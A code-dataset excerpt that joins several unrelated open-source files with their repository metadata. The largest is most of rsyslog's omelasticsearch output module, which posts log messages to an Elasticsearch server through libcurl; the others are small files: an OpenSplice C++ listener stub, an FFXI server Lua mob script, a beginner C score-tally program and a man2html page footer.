<ADDRESS>
Man(1) output converted with
<a href="http://www.oac.uci.edu/indiv/ehood/man2html.html">man2html</a>
</ADDRESS>
</BODY>
</HTML>
|
parallaxinc/propgcc
|
ncurses/doc/html/man/curs_touch.3x.html
|
HTML
|
gpl-3.0
| 7,383 |
/*
* Vortex OpenSplice
*
* This software and documentation are Copyright 2006 to TO_YEAR ADLINK
* Technology Limited, its affiliated companies and licensors. All rights
* reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/**
* @file
*/
#include <dds/sub/SubscriberListener.hpp>
namespace dds
{
namespace sub
{
SubscriberListener::~SubscriberListener() { }
NoOpSubscriberListener::~NoOpSubscriberListener() { }
void NoOpSubscriberListener::on_data_on_readers(dds::sub::Subscriber&) { }
}
}
|
PrismTech/opensplice
|
src/api/dcps/isocpp/code/dds/sub/SubscriberListener.cpp
|
C++
|
gpl-3.0
| 1,072 |
-----------------------------------
-- Area: Full Moon Fountain (170)
-- Mob: Ajido-Marujido
-----------------------------------
-- require("scripts/zones/Full_Moon_Fountain/MobIDs");
-----------------------------------
-- onMobInitialize
-----------------------------------
function onMobInitialize(mob)
end;
-----------------------------------
-- onMobSpawn
-----------------------------------
function onMobSpawn(mob)
end;
-----------------------------------
-- onMobEngaged
-----------------------------------
function onMobEngaged(mob,target)
end;
-----------------------------------
-- onMobFight
-----------------------------------
function onMobFight(mob,target)
end;
-----------------------------------
-- onMobDeath
-----------------------------------
function onMobDeath(mob,killer)
end;
|
salamader/ffxi-a
|
scripts/zones/Full_Moon_Fountain/mobs/Ajido-Marujido.lua
|
Lua
|
gpl-3.0
| 819 |
#include<stdio.h>
int main (){
int m = 1 , inter = 0, gremio = 0, draws = 0, tem1, tem2, cou=0;
while (m == 1){
scanf("%d%d",&tem1,&tem2);
cou++;
printf("Novo grenal (1-sim 2-nao)\n");
if( tem1 > tem2){
inter++;
}
else if( tem1 < tem2) {
gremio++;
}
else {
draws++; }
scanf("%d" ,&m);
}
printf("%d grenais\n",cou);
printf("Inter:%d\n",inter);
printf("Gremio:%d\n",gremio);
printf("Empates:%d\n",draws);
printf("Inter venceu mais\n");
}
|
Sheiblu/My-Uri-Online-Judge
|
1131uri.c
|
C
|
gpl-3.0
| 554 |
/* omelasticsearch.c
* This is the http://www.elasticsearch.org/ output module.
*
* NOTE: read comments in module-template.h for more specifics!
*
* Copyright 2011 Nathan Scott.
* Copyright 2009-2012 Rainer Gerhards and Adiscon GmbH.
*
* This file is part of rsyslog.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
* -or-
* see COPYING.ASL20 in the source distribution
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "config.h"
#include "rsyslog.h"
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <curl/easy.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "cJSON/cjson.h"
#include "conf.h"
#include "syslogd-types.h"
#include "srUtils.h"
#include "template.h"
#include "module-template.h"
#include "errmsg.h"
#include "statsobj.h"
#include "cfsysline.h"
#include "unicode-helper.h"
MODULE_TYPE_OUTPUT
MODULE_TYPE_NOKEEP
MODULE_CNFNAME("omelasticsearch")
/* internal structures */
DEF_OMOD_STATIC_DATA
DEFobjCurrIf(errmsg)
DEFobjCurrIf(statsobj)
statsobj_t *indexStats;
STATSCOUNTER_DEF(indexConFail, mutIndexConFail)
STATSCOUNTER_DEF(indexSubmit, mutIndexSubmit)
STATSCOUNTER_DEF(indexFailed, mutIndexFailed)
STATSCOUNTER_DEF(indexSuccess, mutIndexSuccess)
/* REST API for elasticsearch hits this URL:
* http://<hostName>:<restPort>/<searchIndex>/<searchType>
*/
typedef struct curl_slist HEADER;
typedef struct _instanceData {
int port;
int replyLen;
int fdErrFile; /* error file fd or -1 if not open */
uchar *server;
uchar *uid;
uchar *pwd;
uchar *searchIndex;
uchar *searchType;
uchar *parent;
uchar *tplName;
uchar *timeout;
uchar *restURL; /* last used URL for error reporting */
uchar *errorFile;
char *reply;
sbool dynSrchIdx;
sbool dynSrchType;
sbool dynParent;
sbool bulkmode;
sbool asyncRepl;
struct {
es_str_t *data;
uchar *currTpl1;
uchar *currTpl2;
} batch;
CURL *curlHandle; /* libcurl session handle */
HEADER *postHeader; /* json POST request info */
} instanceData;
/* tables for interfacing with the v6 config system */
/* action (instance) parameters */
static struct cnfparamdescr actpdescr[] = {
{ "server", eCmdHdlrGetWord, 0 },
{ "serverport", eCmdHdlrInt, 0 },
{ "uid", eCmdHdlrGetWord, 0 },
{ "pwd", eCmdHdlrGetWord, 0 },
{ "searchindex", eCmdHdlrGetWord, 0 },
{ "searchtype", eCmdHdlrGetWord, 0 },
{ "parent", eCmdHdlrGetWord, 0 },
{ "dynsearchindex", eCmdHdlrBinary, 0 },
{ "dynsearchtype", eCmdHdlrBinary, 0 },
{ "dynparent", eCmdHdlrBinary, 0 },
{ "bulkmode", eCmdHdlrBinary, 0 },
{ "asyncrepl", eCmdHdlrBinary, 0 },
{ "timeout", eCmdHdlrGetWord, 0 },
{ "errorfile", eCmdHdlrGetWord, 0 },
{ "template", eCmdHdlrGetWord, 1 }
};
static struct cnfparamblk actpblk =
{ CNFPARAMBLK_VERSION,
sizeof(actpdescr)/sizeof(struct cnfparamdescr),
actpdescr
};
BEGINcreateInstance
CODESTARTcreateInstance
pData->restURL = NULL;
pData->fdErrFile = -1;
ENDcreateInstance
BEGINisCompatibleWithFeature
CODESTARTisCompatibleWithFeature
if(eFeat == sFEATURERepeatedMsgReduction)
iRet = RS_RET_OK;
ENDisCompatibleWithFeature
BEGINfreeInstance
CODESTARTfreeInstance
if (pData->postHeader) {
curl_slist_free_all(pData->postHeader);
pData->postHeader = NULL;
}
if (pData->curlHandle) {
curl_easy_cleanup(pData->curlHandle);
pData->curlHandle = NULL;
}
if(pData->fdErrFile != -1)
close(pData->fdErrFile);
free(pData->server);
free(pData->uid);
free(pData->pwd);
free(pData->searchIndex);
free(pData->searchType);
free(pData->parent);
free(pData->tplName);
free(pData->timeout);
free(pData->restURL);
free(pData->errorFile);
ENDfreeInstance
BEGINdbgPrintInstInfo
CODESTARTdbgPrintInstInfo
dbgprintf("omelasticsearch\n");
dbgprintf("\ttemplate='%s'\n", pData->tplName);
dbgprintf("\tserver='%s'\n", pData->server);
dbgprintf("\tserverport=%d\n", pData->port);
dbgprintf("\tuid='%s'\n", pData->uid == NULL ? (uchar*)"(not configured)" : pData->uid);
dbgprintf("\tpwd=(%sconfigured)\n", pData->pwd == NULL ? "not " : "");
dbgprintf("\tsearch index='%s'\n", pData->searchIndex);
dbgprintf("\tsearch index='%s'\n", pData->searchType);
dbgprintf("\tparent='%s'\n", pData->parent);
dbgprintf("\ttimeout='%s'\n", pData->timeout);
dbgprintf("\tdynamic search index=%d\n", pData->dynSrchIdx);
dbgprintf("\tdynamic search type=%d\n", pData->dynSrchType);
dbgprintf("\tdynamic parent=%d\n", pData->dynParent);
dbgprintf("\tasync replication=%d\n", pData->asyncRepl);
dbgprintf("\tbulkmode=%d\n", pData->bulkmode);
dbgprintf("\terrorfile='%s'\n", pData->errorFile == NULL ?
(uchar*)"(not configured)" : pData->errorFile);
ENDdbgPrintInstInfo
/* Build basic URL part, which includes hostname and port as follows:
* http://hostname:port/
* Newly creates an estr for this purpose.
*/
static rsRetVal
setBaseURL(instanceData *pData, es_str_t **url)
{
char portBuf[64];
int r;
DEFiRet;
*url = es_newStr(128);
snprintf(portBuf, sizeof(portBuf), "%d", pData->port);
r = es_addBuf(url, "http://", sizeof("http://")-1);
if(r == 0) r = es_addBuf(url, (char*)pData->server, strlen((char*)pData->server));
if(r == 0) r = es_addChar(url, ':');
if(r == 0) r = es_addBuf(url, portBuf, strlen(portBuf));
if(r == 0) r = es_addChar(url, '/');
RETiRet;
}
static inline rsRetVal
checkConn(instanceData *pData)
{
es_str_t *url;
CURL *curl = NULL;
CURLcode res;
char *cstr;
DEFiRet;
setBaseURL(pData, &url);
curl = curl_easy_init();
if(curl == NULL) {
DBGPRINTF("omelasticsearch: checkConn() curl_easy_init() failed\n");
ABORT_FINALIZE(RS_RET_SUSPENDED);
}
cstr = es_str2cstr(url, NULL);
curl_easy_setopt(curl, CURLOPT_URL, cstr);
free(cstr);
pData->reply = NULL;
pData->replyLen = 0;
curl_easy_setopt(curl, CURLOPT_WRITEDATA, pData);
res = curl_easy_perform(curl);
if(res != CURLE_OK) {
DBGPRINTF("omelasticsearch: checkConn() curl_easy_perform() "
"failed: %s\n", curl_easy_strerror(res));
ABORT_FINALIZE(RS_RET_SUSPENDED);
}
free(pData->reply);
DBGPRINTF("omelasticsearch: checkConn() completed with success\n");
finalize_it:
if(curl != NULL)
curl_easy_cleanup(curl);
RETiRet;
}
BEGINtryResume
CODESTARTtryResume
DBGPRINTF("omelasticsearch: tryResume called\n");
iRet = checkConn(pData);
ENDtryResume
/* get the current index and type for this message */
static inline void
getIndexTypeAndParent(instanceData *pData, uchar **tpls,
uchar **srchIndex, uchar **srchType, uchar **parent)
{
if(pData->dynSrchIdx) {
*srchIndex = tpls[1];
if(pData->dynSrchType) {
*srchType = tpls[2];
if(pData->dynParent) {
*parent = tpls[3];
} else {
*parent = pData->parent;
}
} else {
*srchType = pData->searchType;
if(pData->dynParent) {
*parent = tpls[2];
} else {
*parent = pData->parent;
}
}
} else {
*srchIndex = pData->searchIndex;
if(pData->dynSrchType) {
*srchType = tpls[1];
if(pData->dynParent) {
*parent = tpls[2];
} else {
*parent = pData->parent;
}
} else {
*srchType = pData->searchType;
if(pData->dynParent) {
*parent = tpls[1];
} else {
*parent = pData->parent;
}
}
}
}
static rsRetVal
setCurlURL(instanceData *pData, uchar **tpls)
{
char authBuf[1024];
uchar *searchIndex;
uchar *searchType;
uchar *parent;
es_str_t *url;
int rLocal;
int r;
DEFiRet;
setBaseURL(pData, &url);
if(pData->bulkmode) {
r = es_addBuf(&url, "_bulk", sizeof("_bulk")-1);
parent = NULL;
} else {
getIndexTypeAndParent(pData, tpls, &searchIndex, &searchType, &parent);
r = es_addBuf(&url, (char*)searchIndex, ustrlen(searchIndex));
if(r == 0) r = es_addChar(&url, '/');
if(r == 0) r = es_addBuf(&url, (char*)searchType, ustrlen(searchType));
}
if(r == 0) r = es_addChar(&url, '?');
if(pData->asyncRepl) {
if(r == 0) r = es_addBuf(&url, "replication=async&",
sizeof("replication=async&")-1);
}
if(pData->timeout != NULL) {
if(r == 0) r = es_addBuf(&url, "timeout=", sizeof("timeout=")-1);
if(r == 0) r = es_addBuf(&url, (char*)pData->timeout, ustrlen(pData->timeout));
if(r == 0) r = es_addChar(&url, '&');
}
if(parent != NULL) {
if(r == 0) r = es_addBuf(&url, "parent=", sizeof("parent=")-1);
if(r == 0) r = es_addBuf(&url, (char*)parent, ustrlen(parent));
}
free(pData->restURL);
pData->restURL = (uchar*)es_str2cstr(url, NULL);
curl_easy_setopt(pData->curlHandle, CURLOPT_URL, pData->restURL);
es_deleteStr(url);
DBGPRINTF("omelasticsearch: using REST URL: '%s'\n", pData->restURL);
if(pData->uid != NULL) {
rLocal = snprintf(authBuf, sizeof(authBuf), "%s:%s", pData->uid,
(pData->pwd == NULL) ? "" : (char*)pData->pwd);
if(rLocal < 1) {
errmsg.LogError(0, RS_RET_ERR, "omelasticsearch: snprintf failed "
"when trying to build auth string (return %d)\n",
rLocal);
ABORT_FINALIZE(RS_RET_ERR);
}
curl_easy_setopt(pData->curlHandle, CURLOPT_USERPWD, authBuf);
curl_easy_setopt(pData->curlHandle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
}
finalize_it:
RETiRet;
}
/* this method does not directly submit but builds a batch instead. It
* may submit, if we have dynamic index/type and the current type or
* index changes.
*/
static rsRetVal
buildBatch(instanceData *pData, uchar *message, uchar **tpls)
{
int length = strlen((char *)message);
int r;
uchar *searchIndex;
uchar *searchType;
uchar *parent;
DEFiRet;
# define META_STRT "{\"index\":{\"_index\": \""
# define META_TYPE "\",\"_type\":\""
# define META_PARENT "\",\"_parent\":\""
# define META_END "\"}}\n"
getIndexTypeAndParent(pData, tpls, &searchIndex, &searchType, &parent);
r = es_addBuf(&pData->batch.data, META_STRT, sizeof(META_STRT)-1);
if(r == 0) r = es_addBuf(&pData->batch.data, (char*)searchIndex,
ustrlen(searchIndex));
if(r == 0) r = es_addBuf(&pData->batch.data, META_TYPE, sizeof(META_TYPE)-1);
if(r == 0) r = es_addBuf(&pData->batch.data, (char*)searchType,
ustrlen(searchType));
if(parent != NULL) {
if(r == 0) r = es_addBuf(&pData->batch.data, META_PARENT, sizeof(META_PARENT)-1);
if(r == 0) r = es_addBuf(&pData->batch.data, (char*)parent, ustrlen(parent));
}
if(r == 0) r = es_addBuf(&pData->batch.data, META_END, sizeof(META_END)-1);
if(r == 0) r = es_addBuf(&pData->batch.data, (char*)message, length);
if(r == 0) r = es_addBuf(&pData->batch.data, "\n", sizeof("\n")-1);
if(r != 0) {
DBGPRINTF("omelasticsearch: growing batch failed with code %d\n", r);
ABORT_FINALIZE(RS_RET_ERR);
}
iRet = RS_RET_DEFER_COMMIT;
finalize_it:
RETiRet;
}
/* write data error request/replies to separate error file
* Note: we open the file but never close it before exit. If it
* needs to be closed, HUP must be sent.
*/
static inline rsRetVal
writeDataError(instanceData *pData, cJSON **pReplyRoot, uchar *reqmsg)
{
char *rendered = NULL;
cJSON *errRoot;
cJSON *req;
cJSON *replyRoot = *pReplyRoot;
size_t toWrite;
ssize_t wrRet;
char errStr[1024];
DEFiRet;
if(pData->errorFile == NULL) {
DBGPRINTF("omelasticsearch: no local error logger defined - "
"ignoring ES error information\n");
FINALIZE;
}
if(pData->fdErrFile == -1) {
pData->fdErrFile = open((char*)pData->errorFile,
O_WRONLY|O_CREAT|O_APPEND|O_LARGEFILE|O_CLOEXEC,
S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP);
if(pData->fdErrFile == -1) {
rs_strerror_r(errno, errStr, sizeof(errStr));
DBGPRINTF("omelasticsearch: error opening error file: %s\n", errStr);
ABORT_FINALIZE(RS_RET_ERR);
}
}
if((req=cJSON_CreateObject()) == NULL) ABORT_FINALIZE(RS_RET_ERR);
cJSON_AddItemToObject(req, "url", cJSON_CreateString((char*)pData->restURL));
cJSON_AddItemToObject(req, "postdata", cJSON_CreateString((char*)reqmsg));
if((errRoot=cJSON_CreateObject()) == NULL) ABORT_FINALIZE(RS_RET_ERR);
cJSON_AddItemToObject(errRoot, "request", req);
cJSON_AddItemToObject(errRoot, "reply", replyRoot);
rendered = cJSON_Print(errRoot);
/* we do not do real error-handling on the err file, as this finally complicates
* things way to much.
*/
DBGPRINTF("omelasticsearch: error record: '%s'\n", rendered);
toWrite = strlen(rendered);
wrRet = write(pData->fdErrFile, rendered, toWrite);
if(wrRet != (ssize_t) toWrite) {
DBGPRINTF("omelasticsearch: error %d writing error file, write returns %lld\n",
errno, (long long) wrRet);
}
free(rendered);
cJSON_Delete(errRoot);
*pReplyRoot = NULL; /* tell caller not to delete once again! */
finalize_it:
if(rendered != NULL)
free(rendered);
RETiRet;
}
static inline rsRetVal
checkResultBulkmode(instanceData *pData, cJSON *root)
{
int i;
int numitems;
cJSON *items;
cJSON *item;
cJSON *create;
cJSON *ok;
DEFiRet;
items = cJSON_GetObjectItem(root, "items");
if(items == NULL || items->type != cJSON_Array) {
DBGPRINTF("omelasticsearch: error in elasticsearch reply: "
"bulkmode insert does not return array, reply is: %s\n",
pData->reply);
ABORT_FINALIZE(RS_RET_DATAFAIL);
}
numitems = cJSON_GetArraySize(items);
DBGPRINTF("omelasticsearch: %d items in reply\n", numitems);
for(i = 0 ; i < numitems ; ++i) {
item = cJSON_GetArrayItem(items, i);
if(item == NULL) {
DBGPRINTF("omelasticsearch: error in elasticsearch reply: "
"cannot obtain reply array item %d\n", i);
ABORT_FINALIZE(RS_RET_DATAFAIL);
}
create = cJSON_GetObjectItem(item, "create");
if(create == NULL || create->type != cJSON_Object) {
DBGPRINTF("omelasticsearch: error in elasticsearch reply: "
"cannot obtain 'create' item for #%d\n", i);
ABORT_FINALIZE(RS_RET_DATAFAIL);
}
ok = cJSON_GetObjectItem(create, "ok");
if(ok == NULL || ok->type != cJSON_True) {
DBGPRINTF("omelasticsearch: error in elasticsearch reply: "
"item %d, prop ok (%p) not ok\n", i, ok);
ABORT_FINALIZE(RS_RET_DATAFAIL);
}
}
finalize_it:
RETiRet;
}
static inline rsRetVal
checkResult(instanceData *pData, uchar *reqmsg)
{
cJSON *root;
cJSON *ok;
DEFiRet;
root = cJSON_Parse(pData->reply);
if(root == NULL) {
DBGPRINTF("omelasticsearch: could not parse JSON result \n");
ABORT_FINALIZE(RS_RET_ERR);
}
if(pData->bulkmode) {
iRet = checkResultBulkmode(pData, root);
} else {
ok = cJSON_GetObjectItem(root, "ok");
if(ok == NULL || ok->type != cJSON_True) {
iRet = RS_RET_DATAFAIL;
}
}
/* Note: we ignore errors writing the error file, as we cannot handle
* these in any case.
*/
if(iRet == RS_RET_DATAFAIL) {
writeDataError(pData, &root, reqmsg);
iRet = RS_RET_OK; /* we have handled the problem! */
}
finalize_it:
if(root != NULL)
cJSON_Delete(root);
RETiRet;
}
static rsRetVal
curlPost(instanceData *pData, uchar *message, int msglen, uchar **tpls)
{
CURLcode code;
CURL *curl = pData->curlHandle;
DEFiRet;
pData->reply = NULL;
pData->replyLen = 0;
if(pData->dynSrchIdx || pData->dynSrchType || pData->dynParent)
CHKiRet(setCurlURL(pData, tpls));
curl_easy_setopt(curl, CURLOPT_WRITEDATA, pData);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, (char *)message);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, msglen);
code = curl_easy_perform(curl);
switch (code) {
case CURLE_COULDNT_RESOLVE_HOST:
case CURLE_COULDNT_RESOLVE_PROXY:
case CURLE_COULDNT_CONNECT:
case CURLE_WRITE_ERROR:
STATSCOUNTER_INC(indexConFail, mutIndexConFail);
DBGPRINTF("omelasticsearch: we are suspending ourselfs due "
"to failure %lld of curl_easy_perform()\n",
(long long) code);
ABORT_FINALIZE(RS_RET_SUSPENDED);
default:
STATSCOUNTER_INC(indexSubmit, mutIndexSubmit);
break;
}
pData->reply[pData->replyLen] = '\0'; /* byte has been reserved in malloc */
DBGPRINTF("omelasticsearch: es reply: '%s'\n", pData->reply);
CHKiRet(checkResult(pData, message));
finalize_it:
free(pData->reply);
RETiRet;
}
BEGINbeginTransaction
CODESTARTbeginTransaction
dbgprintf("omelasticsearch: beginTransaction\n");
if(!pData->bulkmode) {
FINALIZE;
}
es_emptyStr(pData->batch.data);
finalize_it:
ENDbeginTransaction
BEGINdoAction
CODESTARTdoAction
if(pData->bulkmode) {
CHKiRet(buildBatch(pData, ppString[0], ppString));
} else {
CHKiRet(curlPost(pData, ppString[0], strlen((char*)ppString[0]),
ppString));
}
finalize_it:
dbgprintf("omelasticsearch: result doAction: %d (bulkmode %d)\n", iRet, pData->bulkmode);
ENDdoAction
BEGINendTransaction
char *cstr;
CODESTARTendTransaction
dbgprintf("omelasticsearch: endTransaction init\n");
cstr = es_str2cstr(pData->batch.data, NULL);
dbgprintf("omelasticsearch: endTransaction, batch: '%s'\n", cstr);
CHKiRet(curlPost(pData, (uchar*) cstr, strlen(cstr), NULL));
finalize_it:
free(cstr);
dbgprintf("omelasticsearch: endTransaction done with %d\n", iRet);
ENDendTransaction
/* elasticsearch POST result string ... useful for debugging */
size_t
curlResult(void *ptr, size_t size, size_t nmemb, void *userdata)
{
char *p = (char *)ptr;
instanceData *pData = (instanceData*) userdata;
char *buf;
size_t newlen;
newlen = pData->replyLen + size*nmemb;
if((buf = realloc(pData->reply, newlen + 1)) == NULL) {
DBGPRINTF("omelasticsearch: realloc failed in curlResult\n");
return 0; /* abort due to failure */
}
memcpy(buf+pData->replyLen, p, size*nmemb);
pData->replyLen = newlen;
pData->reply = buf;
return size*nmemb;
}
static rsRetVal
curlSetup(instanceData *pData)
{
HEADER *header;
CURL *handle;
handle = curl_easy_init();
if (handle == NULL) {
return RS_RET_OBJ_CREATION_FAILED;
}
header = curl_slist_append(NULL, "Content-Type: text/json; charset=utf-8");
curl_easy_setopt(handle, CURLOPT_HTTPHEADER, header);
curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, curlResult);
curl_easy_setopt(handle, CURLOPT_POST, 1);
pData->curlHandle = handle;
pData->postHeader = header;
if( pData->bulkmode
|| (pData->dynSrchIdx == 0 && pData->dynSrchType == 0 && pData->dynParent == 0)) {
/* in this case, we know no tpls are involved in the request-->NULL OK! */
setCurlURL(pData, NULL);
}
if(Debug) {
if(pData->dynSrchIdx == 0 && pData->dynSrchType == 0 && pData->dynParent == 0)
dbgprintf("omelasticsearch setup, using static REST URL\n");
else
dbgprintf("omelasticsearch setup, we have a dynamic REST URL\n");
}
return RS_RET_OK;
}
static inline void
setInstParamDefaults(instanceData *pData)
{
pData->server = NULL;
pData->port = 9200;
pData->uid = NULL;
pData->pwd = NULL;
pData->searchIndex = NULL;
pData->searchType = NULL;
pData->parent = NULL;
pData->timeout = NULL;
pData->dynSrchIdx = 0;
pData->dynSrchType = 0;
pData->dynParent = 0;
pData->asyncRepl = 0;
pData->bulkmode = 0;
pData->tplName = NULL;
pData->errorFile = NULL;
}
BEGINnewActInst
struct cnfparamvals *pvals;
int i;
int iNumTpls;
CODESTARTnewActInst
if((pvals = nvlstGetParams(lst, &actpblk, NULL)) == NULL) {
ABORT_FINALIZE(RS_RET_MISSING_CNFPARAMS);
}
CHKiRet(createInstance(&pData));
setInstParamDefaults(pData);
for(i = 0 ; i < actpblk.nParams ; ++i) {
if(!pvals[i].bUsed)
continue;
if(!strcmp(actpblk.descr[i].name, "server")) {
pData->server = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "errorfile")) {
pData->errorFile = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "serverport")) {
pData->port = (int) pvals[i].val.d.n, NULL;
} else if(!strcmp(actpblk.descr[i].name, "uid")) {
pData->uid = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "pwd")) {
pData->pwd = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "searchindex")) {
pData->searchIndex = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "searchtype")) {
pData->searchType = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "parent")) {
pData->parent = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "dynsearchindex")) {
pData->dynSrchIdx = pvals[i].val.d.n;
} else if(!strcmp(actpblk.descr[i].name, "dynsearchtype")) {
pData->dynSrchType = pvals[i].val.d.n;
} else if(!strcmp(actpblk.descr[i].name, "dynparent")) {
pData->dynParent = pvals[i].val.d.n;
} else if(!strcmp(actpblk.descr[i].name, "bulkmode")) {
pData->bulkmode = pvals[i].val.d.n;
} else if(!strcmp(actpblk.descr[i].name, "timeout")) {
pData->timeout = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else if(!strcmp(actpblk.descr[i].name, "asyncrepl")) {
pData->asyncRepl = pvals[i].val.d.n;
} else if(!strcmp(actpblk.descr[i].name, "template")) {
pData->tplName = (uchar*)es_str2cstr(pvals[i].val.d.estr, NULL);
} else {
dbgprintf("omelasticsearch: program error, non-handled "
"param '%s'\n", actpblk.descr[i].name);
}
}
if(pData->pwd != NULL && pData->uid == NULL) {
errmsg.LogError(0, RS_RET_UID_MISSING,
"omelasticsearch: password is provided, but no uid "
"- action definition invalid");
ABORT_FINALIZE(RS_RET_UID_MISSING);
}
if(pData->dynSrchIdx && pData->searchIndex == NULL) {
errmsg.LogError(0, RS_RET_CONFIG_ERROR,
"omelasticsearch: requested dynamic search index, but no "
"name for index template given - action definition invalid");
ABORT_FINALIZE(RS_RET_CONFIG_ERROR);
}
if(pData->dynSrchType && pData->searchType == NULL) {
errmsg.LogError(0, RS_RET_CONFIG_ERROR,
"omelasticsearch: requested dynamic search type, but no "
"name for type template given - action definition invalid");
ABORT_FINALIZE(RS_RET_CONFIG_ERROR);
}
if(pData->dynParent && pData->parent == NULL) {
errmsg.LogError(0, RS_RET_CONFIG_ERROR,
"omelasticsearch: requested dynamic parent, but no "
"name for parent template given - action definition invalid");
ABORT_FINALIZE(RS_RET_CONFIG_ERROR);
}
if(pData->bulkmode) {
pData->batch.currTpl1 = NULL;
pData->batch.currTpl2 = NULL;
if((pData->batch.data = es_newStr(1024)) == NULL) {
DBGPRINTF("omelasticsearch: error creating batch string "
"turned off bulk mode\n");
pData->bulkmode = 0; /* at least it works */
}
}
iNumTpls = 1;
if(pData->dynSrchIdx) ++iNumTpls;
if(pData->dynSrchType) ++iNumTpls;
if(pData->dynParent) ++iNumTpls;
DBGPRINTF("omelasticsearch: requesting %d templates\n", iNumTpls);
CODE_STD_STRING_REQUESTnewActInst(iNumTpls)
CHKiRet(OMSRsetEntry(*ppOMSR, 0, (uchar*)strdup((pData->tplName == NULL) ?
" StdJSONFmt" : (char*)pData->tplName),
OMSR_NO_RQD_TPL_OPTS));
/* we need to request additional templates. If we have a dynamic search index,
* it will always be string 1. Type may be 1 or 2, depending on whether search
* index is dynamic as well. Rule needs to be followed throughout the module.
*/
if(pData->dynSrchIdx) {
CHKiRet(OMSRsetEntry(*ppOMSR, 1, ustrdup(pData->searchIndex),
OMSR_NO_RQD_TPL_OPTS));
if(pData->dynSrchType) {
CHKiRet(OMSRsetEntry(*ppOMSR, 2, ustrdup(pData->searchType),
OMSR_NO_RQD_TPL_OPTS));
if(pData->dynParent) {
CHKiRet(OMSRsetEntry(*ppOMSR, 3, ustrdup(pData->parent),
OMSR_NO_RQD_TPL_OPTS));
}
} else {
if(pData->dynParent) {
CHKiRet(OMSRsetEntry(*ppOMSR, 2, ustrdup(pData->parent),
OMSR_NO_RQD_TPL_OPTS));
}
}
} else {
if(pData->dynSrchType) {
CHKiRet(OMSRsetEntry(*ppOMSR, 1, ustrdup(pData->searchType),
OMSR_NO_RQD_TPL_OPTS));
if(pData->dynParent) {
CHKiRet(OMSRsetEntry(*ppOMSR, 2, ustrdup(pData->parent),
OMSR_NO_RQD_TPL_OPTS));
}
} else {
if(pData->dynParent) {
CHKiRet(OMSRsetEntry(*ppOMSR, 1, ustrdup(pData->parent),
OMSR_NO_RQD_TPL_OPTS));
}
}
}
if(pData->server == NULL)
pData->server = (uchar*) strdup("localhost");
if(pData->searchIndex == NULL)
pData->searchIndex = (uchar*) strdup("system");
if(pData->searchType == NULL)
pData->searchType = (uchar*) strdup("events");
CHKiRet(curlSetup(pData));
CODE_STD_FINALIZERnewActInst
cnfparamvalsDestruct(pvals, &actpblk);
ENDnewActInst
BEGINparseSelectorAct
CODESTARTparseSelectorAct
CODE_STD_STRING_REQUESTparseSelectorAct(1)
if(!strncmp((char*) p, ":omelasticsearch:", sizeof(":omelasticsearch:") - 1)) {
errmsg.LogError(0, RS_RET_LEGA_ACT_NOT_SUPPORTED,
"omelasticsearch supports only v6 config format, use: "
"action(type=\"omelasticsearch\" server=...)");
}
ABORT_FINALIZE(RS_RET_CONFLINE_UNPROCESSED);
CODE_STD_FINALIZERparseSelectorAct
ENDparseSelectorAct
BEGINdoHUP
CODESTARTdoHUP
if(pData->fdErrFile != -1) {
close(pData->fdErrFile);
pData->fdErrFile = -1;
}
ENDdoHUP
BEGINmodExit
CODESTARTmodExit
curl_global_cleanup();
statsobj.Destruct(&indexStats);
objRelease(errmsg, CORE_COMPONENT);
objRelease(statsobj, CORE_COMPONENT);
ENDmodExit
BEGINqueryEtryPt
CODESTARTqueryEtryPt
CODEqueryEtryPt_STD_OMOD_QUERIES
CODEqueryEtryPt_IsCompatibleWithFeature_IF_OMOD_QUERIES
CODEqueryEtryPt_STD_CONF2_OMOD_QUERIES
CODEqueryEtryPt_doHUP
CODEqueryEtryPt_TXIF_OMOD_QUERIES /* we support the transactional interface! */
ENDqueryEtryPt
BEGINmodInit()
CODESTARTmodInit
*ipIFVersProvided = CURR_MOD_IF_VERSION; /* we only support the current interface specification */
CODEmodInit_QueryRegCFSLineHdlr
CHKiRet(objUse(errmsg, CORE_COMPONENT));
CHKiRet(objUse(statsobj, CORE_COMPONENT));
if (curl_global_init(CURL_GLOBAL_ALL) != 0) {
errmsg.LogError(0, RS_RET_OBJ_CREATION_FAILED, "CURL fail. -elasticsearch indexing disabled");
ABORT_FINALIZE(RS_RET_OBJ_CREATION_FAILED);
}
/* support statistics gathering */
CHKiRet(statsobj.Construct(&indexStats));
CHKiRet(statsobj.SetName(indexStats, (uchar *)"elasticsearch"));
CHKiRet(statsobj.AddCounter(indexStats, (uchar *)"connfail",
ctrType_IntCtr, &indexConFail));
